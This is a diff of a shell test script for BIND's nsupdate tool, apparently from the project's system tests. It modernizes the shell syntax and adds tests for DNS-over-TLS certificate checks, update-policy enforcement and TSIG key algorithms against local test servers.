 $DIG $DIGOPTS +short unixtime.nil. soa @10.53.0.1 > dig.out.old.test$n || ret=1
-oldserial=`awk '{print $3}' dig.out.old.test$n` || ret=1
-start=`$PERL -e 'print time()."\n";'`
+oldserial=$(awk '{print $3}' dig.out.old.test$n) || ret=1
+start=$($PERL -e 'print time()."\n";')
 $NSUPDATE <<END > /dev/null 2>&1 || ret=1
     server 10.53.0.1 ${PORT}
     ttl 600
     update add new.unixtime.nil in a 1.2.3.4
     send
 END
-now=`$PERL -e 'print time()."\n";'`
+now=$($PERL -e 'print time()."\n";')
 sleep 1
 $DIG $DIGOPTS +short unixtime.nil. soa @10.53.0.1 > dig.out.new.test$n || ret=1
-serial=`awk '{print $3}' dig.out.new.test$n` || ret=1
+serial=$(awk '{print $3}' dig.out.new.test$n) || ret=1
 [ "$oldserial" = "$serial" ] && { echo_i "oldserial == serial"; ret=1; }
 if [ "$serial" -lt "$start" ]; then
     echo_i "out-of-range serial=$serial < start=$start"; ret=1;
@@ -305,7 +345,7 @@ fi
 
 if $PERL -e 'use Net::DNS;' 2>/dev/null
 then
-    n=`expr $n + 1`
+    n=$((n + 1))
     ret=0
     echo_i "running update.pl test ($n)"
     $PERL update_test.pl -s 10.53.0.1 -p ${PORT} update.nil. > perl.update_test.out || ret=1
@@ -313,7 +353,7 @@ then
 
     if $PERL -e 'use Net::DNS; die "Net::DNS too old ($Net::DNS::VERSION < 1.01)" if ($Net::DNS::VERSION < 1.01)' > /dev/null
     then
-	n=`expr $n + 1`
+	n=$((n + 1))
 	ret=0
 	echo_i "check for too many NSEC3 iterations log ($n)"
 	grep "updating zone 'update.nil/IN': too many NSEC3 iterations (151)" ns1/named.run > /dev/null || ret=1
@@ -323,21 +363,21 @@ else
     echo_i "The second part of this test requires the Net::DNS library." >&2
 fi
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "fetching first copy of test zone ($n)"
 $DIG $DIGOPTS +tcp +noadd +nosea +nostat +noquest +nocomm +nocmd example.nil.\
 	@10.53.0.1 axfr > dig.out.ns1 || ret=1
 [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "fetching second copy of test zone ($n)"
 $DIG $DIGOPTS +tcp +noadd +nosea +nostat +noquest +nocomm +nocmd example.nil.\
 	@10.53.0.2 axfr > dig.out.ns2 || ret=1
 [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "comparing zones ($n)"
 digcomp dig.out.ns1 dig.out.ns2 || ret=1
@@ -345,12 +385,12 @@ digcomp dig.out.ns1 dig.out.ns2 || ret=1
 
 echo_i "SIGKILL and restart server ns1"
 cd ns1
-$KILL -KILL `cat named.pid`
+kill -KILL $(cat named.pid)
 rm named.pid
 cd ..
 sleep 10
 if
-	start_server --noclean --restart --port ${PORT} nsupdate ns1
+	start_server --noclean --restart --port ${PORT} ns1
 then
 	echo_i "restarted server ns1"
 else
@@ -359,14 +399,14 @@ else
 fi
 sleep 10
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "fetching ns1 after hard restart ($n)"
 $DIG $DIGOPTS +tcp +noadd +nosea +nostat +noquest +nocomm +nocmd example.nil.\
 	@10.53.0.1 axfr > dig.out.ns1.after || ret=1
 [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "comparing zones ($n)"
 digcomp dig.out.ns1 dig.out.ns1.after || ret=1
@@ -374,7 +414,7 @@ digcomp dig.out.ns1 dig.out.ns1.after || ret=1
 
 echo_i "begin RT #482 regression test"
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "update primary ($n)"
 $NSUPDATE -k ns1/ddns.key <<END > /dev/null || ret=1
@@ -388,17 +428,12 @@ END
 
 sleep 5
 
-if [ ! "$CYGWIN" ]; then
-    echo_i "SIGHUP secondary"
-    $KILL -HUP `cat ns2/named.pid`
-else
-    echo_i "reload secondary"
-    rndc_reload ns2 10.53.0.2
-fi
+echo_i "SIGHUP secondary"
+kill -HUP $(cat ns2/named.pid)
 
 sleep 5
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "update primary again ($n)"
 $NSUPDATE -k ns1/ddns.key <<END > /dev/null || ret=1
@@ -412,19 +447,14 @@ END
 
 sleep 5
 
-if [ ! "$CYGWIN" ]; then
-    echo_i "SIGHUP secondary again"
-    $KILL -HUP `cat ns2/named.pid`
-else
-    echo_i "reload secondary again"
-    rndc_reload ns2 10.53.0.2
-fi
+echo_i "SIGHUP secondary again"
+kill -HUP $(cat ns2/named.pid)
 
 sleep 5
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check to 'out of sync' message ($n)"
-if grep "out of sync" ns2/named.run
+if grep "out of sync" ns2/named.run > /dev/null
 then
 	echo_i "failed (found 'out of sync')"
 	status=1
@@ -432,7 +462,29 @@ fi
 
 echo_i "end RT #482 regression test"
 
-n=`expr $n + 1`
+n=$((n + 1))
+ret=0
+echo_i "remove nonexistent PTR record ($n)"
+$NSUPDATE -k ns1/ddns.key -d << EOF > nsupdate.out.test$n 2>&1 || ret=1
+server 10.53.0.1 ${PORT}
+zone example.nil.
+update delete nonexistent.example.nil. 0 IN PTR foo.
+send
+EOF
+[ $ret = 0 ] || { echo_i "failed"; status=1; }
+
+n=$((n + 1))
+ret=0
+echo_i "remove nonexistent SRV record ($n)"
+$NSUPDATE -k ns1/ddns.key -d << EOF > nsupdate.out.test$n 2>&1 || ret=1
+server 10.53.0.1 ${PORT}
+zone example.nil.
+update delete nonexistent.example.nil. 0 IN SRV 0 0 0 foo.
+send
+EOF
+[ $ret = 0 ] || { echo_i "failed"; status=1; }
+
+n=$((n + 1))
 ret=0
 echo_i "start NSEC3PARAM changes via UPDATE on a unsigned zone test ($n)"
 $NSUPDATE << EOF
@@ -449,7 +501,7 @@ grep "ANSWER: 0," dig.out.ns3.$n > /dev/null || ret=1
 grep "flags:[^;]* aa[ ;]" dig.out.ns3.$n > /dev/null || ret=1
 [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "change the NSEC3PARAM ttl via update ($n)"
 $NSUPDATE << EOF
@@ -465,64 +517,6 @@ grep "3600.*NSEC3PARAM" dig.out.ns3.$n > /dev/null || ret=1
 grep "flags:[^;]* aa[ ;]" dig.out.ns3.$n > /dev/null || ret=1
 [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
-n=`expr $n + 1`
-ret=0
-echo_i "add a new NSEC3PARAM via update ($n)"
-$NSUPDATE << EOF
-server 10.53.0.3 ${PORT}
-update add nsec3param.test 3600 NSEC3PARAM 1 0 4 -
-send
-EOF
-
-_ret=1
-for i in 0 1 2 3 4 5 6 7 8 9; do
-	$DIG $DIGOPTS +tcp +norec +time=1 +tries=1 @10.53.0.3 nsec3param.test. NSEC3PARAM > dig.out.ns3.$n || _ret=1
-	if grep "ANSWER: 2," dig.out.ns3.$n > /dev/null; then
-		_ret=0
-		break
-	fi
-	sleep 1
-done
-
-if [ $_ret -ne 0 ]; then ret=1; fi
-grep "NSEC3PARAM 1 0 4 -" dig.out.ns3.$n > /dev/null || ret=1
-grep "flags:[^;]* aa[ ;]" dig.out.ns3.$n > /dev/null || ret=1
-if [ $ret != 0 ] ; then echo_i "failed"; status=`expr $ret + $status`; fi
-
-n=`expr $n + 1`
-ret=0
-echo_i "add, delete and change the ttl of the NSEC3PARAM rrset via update ($n)"
-$NSUPDATE << EOF
-server 10.53.0.3 ${PORT}
-update delete nsec3param.test NSEC3PARAM
-update add nsec3param.test 7200 NSEC3PARAM 1 0 5 -
-send
-EOF
-
-_ret=1
-for i in 0 1 2 3 4 5 6 7 8 9; do
-	$DIG $DIGOPTS +tcp +norec +time=1 +tries=1 @10.53.0.3 nsec3param.test. NSEC3PARAM > dig.out.ns3.$n || _ret=1
-	if grep "ANSWER: 1," dig.out.ns3.$n > /dev/null; then
-		_ret=0
-		break
-	fi
-	sleep 1
-done
-
-if [ $_ret -ne 0 ]; then ret=1; fi
-grep "7200.*NSEC3PARAM 1 0 5 -" dig.out.ns3.$n > /dev/null || ret=1
-grep "flags:[^;]* aa[ ;]" dig.out.ns3.$n > /dev/null || ret=1
-$JOURNALPRINT ns3/nsec3param.test.db.signed.jnl > jp.out.ns3.$n
-# intermediate TTL changes.
-grep "add nsec3param.test.	7200	IN	NSEC3PARAM 1 0 4 -" jp.out.ns3.$n > /dev/null || ret=1
-grep "add nsec3param.test.	7200	IN	NSEC3PARAM 1 0 1 -" jp.out.ns3.$n > /dev/null || ret=1
-# delayed adds and deletes.
-grep "add nsec3param.test.	0	IN	TYPE65534 .# 6 000180000500" jp.out.ns3.$n > /dev/null || ret=1
-grep "add nsec3param.test.	0	IN	TYPE65534 .# 6 000140000100" jp.out.ns3.$n > /dev/null || ret=1
-grep "add nsec3param.test.	0	IN	TYPE65534 .# 6 000140000400" jp.out.ns3.$n > /dev/null || ret=1
-if [ $ret != 0 ] ; then echo_i "failed"; status=`expr $ret + $status`; fi
-
-
 ret=0
 echo_i "testing that rndc stop updates the file"
 $NSUPDATE -k ns1/ddns.key <<END > /dev/null || ret=1
@@ -531,13 +525,13 @@ update add updated4.example.nil. 600 A 10.10.10.3
 send
 END
 sleep 3
-$PERL ../stop.pl --use-rndc --port ${CONTROLPORT} nsupdate ns1
+stop_server --use-rndc --port ${CONTROLPORT} ns1
 sleep 3
 # Removing the journal file and restarting the server means
 # that the data served by the new server process are exactly
 # those dumped to the file by "rndc stop".
 rm -f ns1/*jnl
-start_server --noclean --restart --port ${PORT} nsupdate ns1
+start_server --noclean --restart --port ${PORT} ns1
 for try in 0 1 2 3 4 5 6 7 8 9; do
     iret=0
     $DIG $DIGOPTS +tcp +noadd +nosea +nostat +noquest +nocomm +nocmd \
@@ -551,14 +545,14 @@ done
 
 ret=0
 echo_i "check that 'nsupdate -l' with a missing keyfile reports the missing file"
-$NSUPDATE -4 -p ${PORT} -l -k ns1/nonexistent.key 2> nsupdate.out < /dev/null
+$NSUPDATE -4 -p ${PORT} -l -k ns1/nonexistent.key 2> nsupdate.out < /dev/null && ret=1
 grep ns1/nonexistent.key nsupdate.out > /dev/null || ret=1
 if test $ret -ne 0
 then
 echo_i "failed"; status=1
 fi
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "check that 'update-policy local' works from localhost address ($n)"
 $NSUPDATE -k ns5/session.key > nsupdate.out.$n 2>&1 << END || ret=1
@@ -577,7 +571,7 @@ then
 echo_i "failed"; status=1
 fi
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "check that 'update-policy local' fails from non-localhost address ($n)"
 grep 'match on session key not from localhost' ns5/named.run > /dev/null && ret=1
@@ -598,10 +592,10 @@ then
 echo_i "failed"; status=1
 fi
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "check that 'update-policy tcp-self' refuses update of records via UDP ($n)"
-$NSUPDATE > nsupdate.out.$n 2>&1 << END
+$NSUPDATE > nsupdate.out.$n 2>&1 << END && ret=1
 server 10.53.0.6 ${PORT}
 local 127.0.0.1
 update add 1.0.0.127.in-addr.arpa. 600 PTR localhost.
@@ -617,7 +611,7 @@ then
 echo_i "failed"; status=1
 fi
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "check that 'update-policy tcp-self' permits update of records for the client's own address via TCP ($n)"
 $NSUPDATE -v > nsupdate.out.$n 2>&1 << END || ret=1
@@ -636,10 +630,10 @@ then
 echo_i "failed"; status=1
 fi
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "check that 'update-policy tcp-self' refuses update of records for a different address from the client's own address via TCP ($n)"
-$NSUPDATE -v > nsupdate.out.$n 2>&1 << END
+$NSUPDATE -v > nsupdate.out.$n 2>&1 << END && ret=1
 server 10.53.0.6 ${PORT}
 local 127.0.0.1
 update add 1.0.168.192.in-addr.arpa. 600 PTR localhost.
@@ -655,14 +649,14 @@ then
 echo_i "failed"; status=1
 fi
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "check that 'update-policy subdomain' is properly enforced ($n)"
 # "restricted.example.nil" matches "grant ... subdomain restricted.example.nil"
 # and thus this UPDATE should succeed.
 $NSUPDATE -d <<END > nsupdate.out1-$n 2>&1 || ret=1
 server 10.53.0.1 ${PORT}
-key restricted.example.nil 1234abcd8765
+key $DEFAULT_HMAC:restricted.example.nil 1234abcd8765
 update add restricted.example.nil 0 IN TXT everywhere.
 send
 END
@@ -672,7 +666,7 @@ grep "TXT.*everywhere" dig.out.1.test$n > /dev/null || ret=1
 # thus this UPDATE should fail.
 $NSUPDATE -d <<END > nsupdate.out2-$n 2>&1 && ret=1
 server 10.53.0.1 ${PORT}
-key restricted.example.nil 1234abcd8765
+key $DEFAULT_HMAC:restricted.example.nil 1234abcd8765
 update add example.nil 0 IN TXT everywhere.
 send
 END
@@ -680,14 +674,14 @@ $DIG $DIGOPTS +tcp @10.53.0.1 example.nil TXT > dig.out.2.test$n || ret=1
 grep "TXT.*everywhere" dig.out.2.test$n > /dev/null && ret=1
 [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "check that 'update-policy zonesub' is properly enforced ($n)"
 # grant zonesub-key.example.nil zonesub TXT;
 # the A record update should be rejected as it is not in the type list
 $NSUPDATE -d <<END > nsupdate.out1-$n 2>&1 && ret=1
 server 10.53.0.1 ${PORT}
-key zonesub-key.example.nil 1234subk8765
+key $DEFAULT_HMAC:zonesub-key.example.nil 1234subk8765
 update add zonesub.example.nil 0 IN A 1.2.3.4
 send
 END
@@ -697,7 +691,7 @@ grep "ANSWER: 0," dig.out.1.test$n > /dev/null || ret=1
 # the TXT record update should be accepted as it is in the type list
 $NSUPDATE -d <<END > nsupdate.out2-$n 2>&1 || ret=1
 server 10.53.0.1 ${PORT}
-key zonesub-key.example.nil 1234subk8765
+key $DEFAULT_HMAC:zonesub-key.example.nil 1234subk8765
 update add zonesub.example.nil 0 IN TXT everywhere.
 send
 END
@@ -707,11 +701,11 @@ grep "ANSWER: 1," dig.out.2.test$n > /dev/null || ret=1
 grep "TXT.*everywhere" dig.out.2.test$n > /dev/null || ret=1
 [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "check 'grant' in deny name + grant subdomain ($n)"
-$NSUPDATE << EOF > nsupdate.out-$n 2>&1 || ret=1
-key hmac-sha256:subkey 1234abcd8765
+$NSUPDATE << EOF > nsupdate.out.test$n 2>&1 || ret=1
+key $DEFAULT_HMAC:subkey 1234abcd8765
 server 10.53.0.9 ${PORT}
 zone denyname.example
 update add foo.denyname.example 3600 IN TXT added
@@ -721,11 +715,11 @@ $DIG $DIGOPTS +tcp @10.53.0.9 foo.denyname.example TXT > dig.out.ns9.test$n
 grep "added" dig.out.ns9.test$n > /dev/null || ret=1
 [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "check 'deny' in deny name + grant subdomain ($n)"
-$NSUPDATE << EOF > nsupdate.out-$n 2>&1 && ret=1
-key hmac-sha256:subkey 1234abcd8765
+$NSUPDATE << EOF > nsupdate.out.test$n 2>&1 && ret=1
+key $DEFAULT_HMAC:subkey 1234abcd8765
 server 10.53.0.9 ${PORT}
 zone denyname.example
 update add denyname.example 3600 IN TXT added
@@ -735,14 +729,15 @@ $DIG $DIGOPTS +tcp @10.53.0.9 denyname.example TXT > dig.out.ns9.test$n
 grep "added" dig.out.ns9.test$n > /dev/null && ret=1
 [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "check that changes to the DNSKEY RRset TTL do not have side effects ($n)"
 $DIG $DIGOPTS +tcp +noadd +nosea +nostat +noquest +nocomm +nocmd dnskey.test. \
         @10.53.0.3 dnskey | \
-	sed -n 's/\(.*\)10.IN/update add \1600 IN/p' |
-	(echo server 10.53.0.3 ${PORT}; cat - ; echo send ) |
-$NSUPDATE
+	awk -v port="${PORT}" 'BEGIN { print "server 10.53.0.3", port; }
+	$2 == 10 && $3 == "IN" && $4 == "DNSKEY" { $2 = 600; print "update add", $0 }
+	END { print "send" }' > update.in.$n
+$NSUPDATE update.in.$n
 
 $DIG $DIGOPTS +tcp +noadd +nosea +nostat +noquest +nocomm +nocmd dnskey.test. \
 	@10.53.0.3 any > dig.out.ns3.$n
@@ -754,7 +749,7 @@ then
 echo_i "failed"; status=1
 fi
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "check notify with TSIG worked ($n)"
 # if the alternate view received a notify--meaning, the notify was
@@ -766,7 +761,7 @@ if [ $ret -ne 0 ]; then
     status=1
 fi
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "check type list options ($n)"
 $NSUPDATE -T > typelist.out.T.${n} || { ret=1; echo_i "nsupdate -T failed"; }
@@ -786,19 +781,19 @@ if [ $ret -ne 0 ]; then
     status=1
 fi
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "check command list ($n)"
 (
 while read cmd
 do
-    echo "$cmd" | $NSUPDATE  > /dev/null 2>&1
-    if test $? -gt 1 ; then
+    { echo "$cmd" | $NSUPDATE  > /dev/null 2>&1; rc=$?; } || true
+    if test $rc -gt 1 ; then
 	echo_i "failed ($cmd)"
 	ret=1
     fi
-    echo "$cmd " | $NSUPDATE  > /dev/null 2>&1
-    if test $? -gt 1 ; then
+    { echo "$cmd " | $NSUPDATE  > /dev/null 2>&1; rc=$?; } || true
+    if test $rc -gt 1 ; then
 	echo_i "failed ($cmd)"
 	ret=1
     fi
@@ -809,10 +804,275 @@ if [ $ret -ne 0 ]; then
     status=1
 fi
 
-n=`expr $n + 1`
+n=$((n + 1))
+ret=0
+echo_i "check DoT (opportunistic-tls) ($n)"
+if $FEATURETEST --have-fips-dh
+then
+    $NSUPDATE -D -S -O -k ns1/ddns.key <<END >nsupdate.out.test$n 2>&1 || ret=1
+    server 10.53.0.1 ${TLSPORT}
+    update add dot-non-auth-client-o.example.nil. 600 A 10.10.10.3
+    send
+END
+    sleep 2
+    $DIG $DIGOPTS +short @10.53.0.1 dot-non-auth-client-o.example.nil >dig.out.test$n 2>&1 || ret=1
+    grep -F "10.10.10.3" dig.out.test$n >/dev/null 2>&1 || ret=1
+    if [ $ret -ne 0 ]; then
+        echo_i "failed"
+        status=1
+    fi
+else
+    echo_i "skipped: DH not supported in FIPS mode"
+fi
+
+n=$((n + 1))
+ret=0
+echo_i "check DoT (strict-tls) with an implicit hostname (by IP address) ($n)"
+if $FEATURETEST --have-fips-dh
+then
+    $NSUPDATE -D -S -A CA/CA.pem -k ns1/ddns.key <<END >nsupdate.out.test$n 2>&1 || ret=1
+    server 10.53.0.1 ${EXTRAPORT1}
+    update add dot-non-auth-client.example.nil. 600 A 10.10.10.3
+    send
+END
+    sleep 2
+    $DIG $DIGOPTS +short @10.53.0.1 dot-non-auth-client.example.nil >dig.out.test$n 2>&1 || ret=1
+    grep -F "10.10.10.3" dig.out.test$n >/dev/null 2>&1 || ret=1
+    if [ $ret -ne 0 ]; then
+        echo_i "failed"
+        status=1
+    fi
+else
+    echo_i "skipped: DH not supported in FIPS mode"
+fi
+
+n=$((n + 1))
+ret=0
+echo_i "check DoT (strict-tls) with an implicit hostname (by IP address) ($n)"
+if $FEATURETEST --have-fips-dh
+then
+    $NSUPDATE -D -S -A CA/CA.pem -k ns1/ddns.key <<END >nsupdate.out.test$n 2>&1 || ret=1
+    server 10.53.0.1 ${EXTRAPORT1}
+    update add dot-fs.example.nil. 600 A 10.10.10.3
+    send
+END
+    sleep 2
+    $DIG $DIGOPTS +short @10.53.0.1 dot-fs.example.nil >dig.out.test$n 2>&1 || ret=1
+    grep -F "10.10.10.3" dig.out.test$n >/dev/null 2>&1 || ret=1
+    if [ $ret -ne 0 ]; then
+        echo_i "failed"
+        status=1
+    fi
+else
+    echo_i "skipped: DH not supported in FIPS mode"
+fi
+
+n=$((n + 1))
+ret=0
+echo_i "check DoT (strict-tls) with a correct hostname ($n)"
+if $FEATURETEST --have-fips-dh
+then
+    $NSUPDATE -D -S -A CA/CA.pem -H srv01.crt01.example.nil -k ns1/ddns.key <<END >nsupdate.out.test$n 2>&1 || ret=1
+    server 10.53.0.1 ${EXTRAPORT1}
+    update add dot-fs-h.example.nil. 600 A 10.10.10.3
+    send
+END
+    sleep 2
+    $DIG $DIGOPTS +short @10.53.0.1 dot-fs-h.example.nil >dig.out.test$n 2>&1 || ret=1
+    grep -F "10.10.10.3" dig.out.test$n >/dev/null 2>&1 || ret=1
+    if [ $ret -ne 0 ]; then
+        echo_i "failed"
+        status=1
+    fi
+else
+    echo_i "skipped: DH not supported in FIPS mode"
+fi
+
+n=$((n + 1))
+ret=0
+echo_i "check DoT (strict-tls) with an incorrect hostname (failure expected) ($n)"
+if $FEATURETEST --have-fips-dh
+then
+    $NSUPDATE -D -S -A CA/CA.pem -H srv01.crt01.example.bad -k ns1/ddns.key <<END >nsupdate.out.test$n 2>&1 && ret=1
+    server 10.53.0.1 ${EXTRAPORT1}
+    update add dot-fs-h-bad.example.nil. 600 A 10.10.10.3
+    send
+END
+    sleep 2
+    $DIG $DIGOPTS +short @10.53.0.1 dot-fs-h-bad.example.nil >dig.out.test$n 2>&1 || ret=1
+    grep -F "10.10.10.3" dig.out.test$n >/dev/null 2>&1 && ret=1
+    if [ $ret -ne 0 ]; then
+        echo_i "failed"
+        status=1
+    fi
+else
+    echo_i "skipped: DH not supported in FIPS mode"
+fi
+
+n=$((n + 1))
+ret=0
+echo_i "check DoT (strict-tls) with a wrong authority (failure expected) ($n)"
+if $FEATURETEST --have-fips-dh
+then
+    $NSUPDATE -D -S -A CA/CA-other.pem -k ns1/ddns.key <<END >nsupdate.out.test$n 2>&1 && ret=1
+    server 10.53.0.1 ${EXTRAPORT1}
+    update add dot-fs-auth-bad.example.nil. 600 A 10.10.10.3
+    send
+END
+    sleep 2
+    $DIG $DIGOPTS +short @10.53.0.1 dot-fs-auth-bad.example.nil >dig.out.test$n 2>&1 || ret=1
+    grep -F "10.10.10.3" dig.out.test$n >/dev/null 2>&1 && ret=1
+    if [ $ret -ne 0 ]; then
+        echo_i "failed"
+        status=1
+    fi
+else
+    echo_i "skipped: DH not supported in FIPS mode"
+fi
+
+n=$((n + 1))
+ret=0
+echo_i "check DoT (mutual-tls) with a valid client certificate ($n)"
+if $FEATURETEST --have-fips-dh
+then
+    $NSUPDATE -D -S -A CA/CA.pem -K CA/certs/srv01.client01.example.nil.key -E CA/certs/srv01.client01.example.nil.pem -k ns1/ddns.key <<END >nsupdate.out.test$n 2>&1 || ret=1
+    server 10.53.0.1 ${EXTRAPORT2}
+    update add dot-fsmt.example.nil. 600 A 10.10.10.3
+    send
+END
+    sleep 2
+    $DIG $DIGOPTS +short @10.53.0.1 dot-fsmt.example.nil >dig.out.test$n 2>&1 || ret=1
+    grep -F "10.10.10.3" dig.out.test$n >/dev/null 2>&1 || ret=1
+    if [ $ret -ne 0 ]; then
+        echo_i "failed"
+        status=1
+    fi
+else
+    echo_i "skipped: DH not supported in FIPS mode"
+fi
+
+n=$((n + 1))
+ret=0
+echo_i "check DoT (mutual-tls) with a valid client certificate but with an incorrect hostname (failure expected) ($n)"
+if $FEATURETEST --have-fips-dh
+then
+    $NSUPDATE -D -S -A CA/CA.pem -K CA/certs/srv01.client01.example.nil.key -E CA/certs/srv01.client01.example.nil.pem -H srv01.crt01.example.bad -k ns1/ddns.key <<END >nsupdate.out.test$n 2>&1 && ret=1
+    server 10.53.0.1 ${EXTRAPORT2}
+    update add dot-fsmt-h-bad.example.nil. 600 A 10.10.10.3
+    send
+END
+    sleep 2
+    $DIG $DIGOPTS +short @10.53.0.1 dot-fsmt-h-bad.example.nil >dig.out.test$n 2>&1 || ret=1
+    grep -F "10.10.10.3" dig.out.test$n >/dev/null 2>&1 && ret=1
+    if [ $ret -ne 0 ]; then
+        echo_i "failed"
+        status=1
+    fi
+else
+    echo_i "skipped: DH not supported in FIPS mode"
+fi
+
+n=$((n + 1))
+ret=0
+echo_i "check DoT (mutual-tls) with a valid client certificate but with a wrong authority (failure expected) ($n)"
+if $FEATURETEST --have-fips-dh
+then
+    $NSUPDATE -D -S -A CA/CA-other.pem -K CA/certs/srv01.client01.example.nil.key -E CA/certs/client01.crt01.example.nil.pem -k ns1/ddns.key <<END >nsupdate.out.test$n 2>&1 && ret=1
+    server 10.53.0.1 ${EXTRAPORT2}
+    update add dot-fsmt-auth-bad.example.nil. 600 A 10.10.10.3
+    send
+END
+    sleep 2
+    $DIG $DIGOPTS +short @10.53.0.1 dot-fsmt-auth-bad.example.nil >dig.out.test$n 2>&1 || ret=1
+    grep -F "10.10.10.3" dig.out.test$n >/dev/null 2>&1 && ret=1
+    if [ $ret -ne 0 ]; then
+        echo_i "failed"
+        status=1
+    fi
+else
+    echo_i "skipped: DH not supported in FIPS mode"
+fi
+
+n=$((n + 1))
+ret=0
+echo_i "check DoT (mutual-tls) with an expired client certificate (failure expected) ($n)"
+if $FEATURETEST --have-fips-dh
+    then
+    $NSUPDATE -D -S -A CA/CA.pem -K CA/certs/srv01.client02-expired.example.nil.key -E CA/certs/srv01.client02-expired.example.nil.pem -k ns1/ddns.key <<END >nsupdate.out.test$n 2>&1 && ret=1
+    server 10.53.0.1 ${EXTRAPORT2}
+    update add dot-fsmt-exp-bad.example.nil. 600 A 10.10.10.3
+    send
+END
+    sleep 2
+    $DIG $DIGOPTS +short @10.53.0.1 dot-fsmt-exp-bad.example.nil >dig.out.test$n 2>&1 || ret=1
+    grep -F "10.10.10.3" dig.out.test$n >/dev/null 2>&1 && ret=1
+    if [ $ret -ne 0 ]; then
+        echo_i "failed"
+        status=1
+    fi
+else
+    echo_i "skipped: DH not supported in FIPS mode"
+fi
+
+n=$((n + 1))
+ret=0
+echo_i "check DoT (mutual-tls) with a valid client certificate and an expired server certificate (failure expected) ($n)"
+if $FEATURETEST --have-fips-dh
+then
+    $NSUPDATE -D -S -A CA/CA.pem -K CA/certs/srv01.client01.example.nil.key -E CA/certs/srv01.client01.example.nil.pem -k ns1/ddns.key <<END >nsupdate.out.test$n 2>&1 && ret=1
+    server 10.53.0.1 ${EXTRAPORT3}
+    update add dot-fsmt-exp-bad.example.nil. 600 A 10.10.10.3
+    send
+END
+    sleep 2
+    $DIG $DIGOPTS +short @10.53.0.1 dot-fsmt-exp-bad.example.nil >dig.out.test$n 2>&1 || ret=1
+    grep -F "10.10.10.3" dig.out.test$n >/dev/null 2>&1 && ret=1
+    if [ $ret -ne 0 ]; then
+        echo_i "failed"
+        status=1
+    fi
+else
+    echo_i "skipped: DH not supported in FIPS mode"
+fi
+
+n=$((n + 1))
+ret=0
+echo_i "check TSIG key algorithms using legacy K file pairs (nsupdate -k) ($n)"
+if $FEATURETEST --md5
+then
+	ALGS="157 161 162 163 164 165"
+else
+	ALGS="161 162 163 164 165"
+	echo_i "skipping disabled md5 (157) algorithm"
+fi
+for alg in $ALGS; do
+    $NSUPDATE -k ns1/legacy/Klegacy-${alg}.+${alg}+*.key <<END > nsupdate.alg-$alg.out 2>&1 || ret=1
+server 10.53.0.1 ${PORT}
+update add ${alg}.keytests.nil. 600 A 10.10.10.3
+send
+END
+done
+sleep 2
+for alg in $ALGS; do
+    $DIG $DIGOPTS +short @10.53.0.1 ${alg}.keytests.nil | grep 10.10.10.3 > /dev/null 2>&1 || ret=1
+    grep "Use of K\* file pairs for HMAC is deprecated" nsupdate.alg-$alg.out > /dev/null || ret=1
+done
+if [ $ret -ne 0 ]; then
+    echo_i "failed"
+    status=1
+fi
+
+n=$((n + 1))
 ret=0
 echo_i "check TSIG key algorithms (nsupdate -k) ($n)"
-for alg in md5 sha1 sha224 sha256 sha384 sha512; do
+if $FEATURETEST --md5
+then
+	ALGS="md5 sha1 sha224 sha256 sha384 sha512"
+else
+	ALGS="sha1 sha224 sha256 sha384 sha512"
+	echo_i "skipping disabled md5 algorithm"
+fi
+for alg in $ALGS; do
     $NSUPDATE -k ns1/${alg}.key <<END > /dev/null || ret=1
 server 10.53.0.1 ${PORT}
 update add ${alg}.keytests.nil. 600 A 10.10.10.3
@@ -820,7 +1080,7 @@ send
 END
 done
 sleep 2
-for alg in md5 sha1 sha224 sha256 sha384 sha512; do
+for alg in $ALGS; do
     $DIG $DIGOPTS +short @10.53.0.1 ${alg}.keytests.nil | grep 10.10.10.3 > /dev/null 2>&1 || ret=1
 done
 if [ $ret -ne 0 ]; then
@@ -828,10 +1088,10 @@ if [ $ret -ne 0 ]; then
     status=1
 fi
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "check TSIG key algorithms (nsupdate -y) ($n)"
-for alg in md5 sha1 sha224 sha256 sha384 sha512; do
+for alg in $ALGS; do
     secret=$(sed -n 's/.*secret "\(.*\)";.*/\1/p' ns1/${alg}.key)
     $NSUPDATE -y "hmac-${alg}:${alg}-key:$secret" <<END > /dev/null || ret=1
 server 10.53.0.1 ${PORT}
@@ -840,7 +1100,7 @@ send
 END
 done
 sleep 2
-for alg in md5 sha1 sha224 sha256 sha384 sha512; do
+for alg in $ALGS; do
     $DIG $DIGOPTS +short @10.53.0.1 ${alg}.keytests.nil | grep 10.10.10.50 > /dev/null 2>&1 || ret=1
 done
 if [ $ret -ne 0 ]; then
